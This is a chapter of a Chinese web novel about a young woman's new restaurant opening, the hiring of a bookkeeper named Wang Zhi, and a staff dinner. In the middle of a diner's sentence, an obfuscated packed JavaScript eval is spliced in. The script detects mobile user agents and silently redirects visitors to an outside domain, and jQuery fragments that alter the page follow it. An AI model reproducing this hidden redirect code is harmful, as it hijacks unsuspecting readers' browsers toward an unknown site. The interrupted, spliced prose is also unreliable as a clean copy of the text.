52.新店

作品:《古代美食城富可敌国

    随着阿柱的吆喝声落地,店面前人群瞬间活络起来。最先跨进门槛的是吴镖头,“恭喜啊!林小娘子!我一回到镖局就听到你新店开张的消息,那我肯定得来给你捧捧场!这趟镖我可是啃了大半个月干粮,今儿个非连吃三碗酸辣粉不可!” 他身后还跟着七八个镖师,都嚷嚷着让吴镖头请客。


    林窈笑着招呼他,“多谢吴镖头捧场!新店上了不少新菜式,您多尝尝,定不会叫您失望,快里边请!”


    一转身,林窈看见陈千远背着药箱缓缓走来,鞋面上沾着泥渍,看起来风尘仆仆,显然是出诊归来顺路绕来的。他抬手摘下头上的幞头,用袖子擦了擦微汗的额头:“哎哟,我闻着味儿就来了,林小娘子,给我来份酸辣粉,多搁辣子,再要一份红烧肉和卤猪下水!”


    林窈瞅着他眼底的青黑,又扫过他皱皱巴巴的长袍,忍不住问:“陈大夫这是刚出诊回来?”


    陈千远往长凳上一坐,顺手把药箱搁在脚边,指腹揉着太阳穴叹气道:“可不是,一个老主顾犯了旧疾,辛苦我大半夜摸黑跑了二里地。” 他解开腰间荷包,拿出里面半块压碎的茯苓饼塞进嘴,又灌了一大杯茶水,“折腾了大半夜才稳住,想起今儿个是你们开业大吉,特意绕过来打打牙祭,吃完我可得回医馆睡它个天昏地暗!”


    “陈大夫医者仁心,先尝尝小店的新品炸串垫垫肚子。”林窈转身端来一小碟炸串,有荤有素,“今日开业酬宾,消费就送炸串。”


    “还是你会做生意!” 陈千远迫不及待捻起一根炸豆皮,入口的咸香酥脆让他眼睛一亮。林窈见状,也不再多言,转身去找算账收钱了。


    林窈在纸上飞快算着账,思绪开始翻飞,想起这几日托牙婆打听的结果:但凡听说掌柜的是个年轻女子,那些账房先生要么摇头婉拒,要么开口便是十两月银的高价,所以帐房的工作只能暂时由她顶替了。为此,她又搬出了之前做的梦来糊弄林诚,不然任谁都无法解释,一个略识得几个字的乡下小娘子怎么会精通九章算术。


    日头越升越高,林窈的新店坐满了人。堂前食客的聊天声、碗筷的碰撞声与后厨飘来的香气混在一起,满满都是烟火气。


    陈大夫吃完炸串,再来上一口酸辣粉,辣得直吸气,却又舍不得停下筷子。他一边吃,一边和旁边的食客闲聊,不住地称赞林窈的手艺。


    后厨,王小鱼和赵娘子正忙得脚不沾地。炉灶上,几口大锅同时翻滚着热气,油锅里的炸串滋滋作响,蒸锅的白雾弥漫了整个厨房。王小鱼手持炒勺,在锅中上下翻飞,素娘则在一旁飞快地切配食材,两人虽第一次见面,却配合得十分默契。但还是忙得无暇多言,幸好林窈早有准备,考虑到还未招到账房,今日并未将所有菜牌放出,且一早便到铺子后厨帮忙准备了大量食材,这才让王小鱼和素娘的工作量减少了许多。


    过了饭点,食客们渐渐散去,店里终于有了片刻的宁静。林窈揉着酸痛的腰,走到柜台前,开始盘算今日上午的进账。她摊开账本,手中的自制的炭笔在纸上沙沙作响,算到最后,她眼中闪过惊喜,仅仅一个上午,竟进账四两银子!


    就在众人准备休息片刻时,店门 “吱呀” 一声打开,一位身着长衫的中年男子走了进来,他身形清瘦,面容和蔼。男子走到柜台前,对着林窈一拱手,说道:“小娘子,在下王智,听闻贵店正在招账房,特来应聘。”


    林窈打量了一番王智,只见他衣着整洁,举止有礼,心中便有了几分好感。她开口问道:“王先生可曾有过账房的经验?”


    王智微微一笑,说道:“不瞒小娘子,在下做了二十多年的账房了。以前在镇上的魏府做账房,后来跟着主家去了府城。只是思念故土,觉得还是呆在镇上舒服,所以才辞了府城的工作,最近刚从府城回来,想找个活计。”


    听到 “魏府” 二字,林窈心中一动,总觉得这经历听起来有些耳熟,但一时又想不起在哪里听过。她接着问道:“不知王先生可介意掌柜的是个年轻女子?”


    王智笑着说:“小娘子莫要多心。刚刚在铺子外面观察了一会,在下觉得小娘子年纪虽小,但是处事老到,一个十几岁的小娘子有这样的本事,实在是不容易,在下对小娘子很是敬佩。”


    林窈见王智思想开明,不似那些迂腐之人,心中很是高兴。她原本想着,如果实在没人愿意做账房,就教刘旭九九乘法表,让刘旭顶上,没想到竟等来了合适的人选,“既然如此,一个月三两月钱,不知王先生可愿意?”


    王智连忙应下,说道:“多谢小娘子信任,在下求之不得。”


    王智顿了顿,又问道:“不知小娘子家中父母平日里可会来铺子里?” 听到这话,林窈眉头微皱:“娘亲走了,阿爹被征兵征走了,现在毫无音信。”


    王智自知戳到了别人伤处,连忙道歉:“实在抱歉,是在下唐突了。”


    林窈摆摆手,说道:“无妨。”


    两人商量好之后,林窈问道:“王先生,不知你可否今天就上岗,算半天的工钱?”


    王智笑道:“自然可以,反正在下回家也是无事可做。”


    交流完毕,林窈便回了灶房,开始准备晚上的食材。王智则站在柜台后,目光在店内四处打量,心中暗自思忖。他总觉得林窈这张脸有些眼熟,仿佛在哪里见过,但一时又想不起来,便也不再深究,转身开始整理柜台上的账本和算盘。只是在看到林窈记的账时不由得有些惊讶,这小娘子记的账准确无误,这样的年纪就这这等本事,实属难得,只是这字,真是难登大雅之堂。


    灶房里,热气再次升腾起来,锅碗瓢盆的声音又响了起来。暮色渐浓,林窈将全部菜牌悬挂出来,新添的炸鸡、蚵仔煎等菜和上面的手绘图格外醒目。


    菜牌一挂出来,便有食客好奇:“这炸鸡是个啥?莫不是把整只鸡丢进


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575997|164423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    油锅里炸?”


    刘旭闻言当即上前解释:“是把鸡肉切成小块,裹了面糊炸得金黄酥脆,咬一口能听见‘咔嚓’响!” 几句话说得众人直咽口水。


    林窈站在灶房外,看着刘旭的反应,很是满意,现在看着很有现代店长的感觉了,以后等她开始新店,这家老店就可以交给刘旭掌管了。林窈突然想起许之珩,特意叮嘱王智:“若有位名唤许之珩的公子来用餐,分文莫要收取,他曾救过我兄妹性命。” 闻言,王智正在拨弄算盘的手一顿,反应过来后忙点后应下。


    话音未落,店门被推开,刘大壮一身货郎打扮,肩上还挑着两个空箩筐,跟在梁氏身后跨进了店门。“阿窈!可算赶上了!” 梁氏笑容满面,从袖中掏出个红封塞进林窈手里,“新店开张,这是我和你大壮哥的一点心意!”


    林窈利落地接过红封揣进袖袋,挽住梁氏的胳膊往空桌引:“嫂子这心意我收下了!快坐,今儿有炸鸡还有许多硬菜,保准合你们胃口!”


    酉时初,林诚就早早从码头收摊,带着林崧和黎氏匆匆赶到食肆。


    “小妹,我把码头那边的活计提前收尾了!” 林诚撸起袖子就往灶房钻,“切配的活计交给我!” 黎氏则熟稔地拿起抹布,将刚用过的桌收拾好。


    酉时末,最后一桌客人结账离去。林窈与王小鱼从后厨端出几大盘菜,四只油亮的炸鸡堆成小山,红烧肉颤巍巍地泛着琥珀色油光,卤猪下水码在海碗里冒了尖,酿茄子更是装了一大盘,这浓油赤酱的一桌菜衬得一旁的清炒菘菜很是清新脱俗。


    阿福几人面面相觑,看着面前的一大桌子菜,站在一旁不敢上前。


    “都坐下!” 林窈一把拉过离她最近的阿福,“乱世里命如草芥,咱们能凑在一块儿,是老天爷赏的缘分。” 她目光扫过众人,“日后这店里,没有主仆,只有家人。”


    阿福攥着衣角的手微微发抖,他望着满桌肉菜,喉头滚动,他从没见过如此丰盛的饭菜,本以为卖身为奴后,能有口饭吃已是万幸,没想到竟遇到了如此宽厚的主家。


    赵娘子抹着眼泪,带着小满坐下,小满睁着圆溜溜的眼睛,指着炸鸡小声问:“娘亲,这是过年才能吃到的肉吗?” 赵娘子轻轻捂住女儿的嘴,却被林窈塞了个炸鸡腿:“往后想吃,随时来后厨!”


    王智望着这热闹场景,手中的筷子突然变得捏紧。刚才忙着算账,没有好好看看林诚这小子,现下凑近一瞧,这孩子看着就像从前魏府那个总是带着酒肉来请他教千字文的林长康。怪道他总觉得林小娘子瞧着眼熟,原来是他的女儿,只是郎君前几日还收到了林长康的飞鸽传书,这几个孩子却说林长康从军后再未收到过父亲的消息。


    王智隐隐觉得这之中有什么事情是他不知道的,但他暂时不打算告诉林家兄妹林长康的消息,毕竟他这次回来也不只是表面说的思念故土,旁人的事能少掺和就少掺和。